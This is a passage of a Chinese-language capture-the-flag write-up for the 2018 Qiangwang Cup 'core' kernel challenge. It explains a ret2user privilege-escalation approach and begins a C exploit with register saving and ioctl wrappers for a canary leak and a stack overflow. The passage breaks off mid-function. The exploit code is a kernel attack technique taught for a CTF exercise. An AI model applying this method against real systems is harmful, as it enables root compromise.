关于题目的具体分析移步
强网杯 2018 core ROP做法
这里就只介绍ret2user这种做法,不再对题目进行具体分析。
这个题没有smep,所以可以直接在内核态执行用户态的代码,所以我们可以自己写一个执行commit_creds(prepare_kernel_cred(0))的函数,然后修改返回地址到那个函数,之后再进入用户态执行system(/bin/sh\x00)来起shell,省去了找gadget编写rop的过程
exp:
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
size_t user_cs, user_ss, user_rflags, user_sp;
//intel 保存用户态
void save_status(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved !");
}
//leak canary
void core_read(int fd, char *user_buf){
ioctl(fd, 0x6677889B, user_buf);
}
//set off
void set_off(int fd, long long len){
ioctl(fd, 0x6677889C, len);
}
//stack overflow
void core_copy_func(int fd, long long len){
ioctl(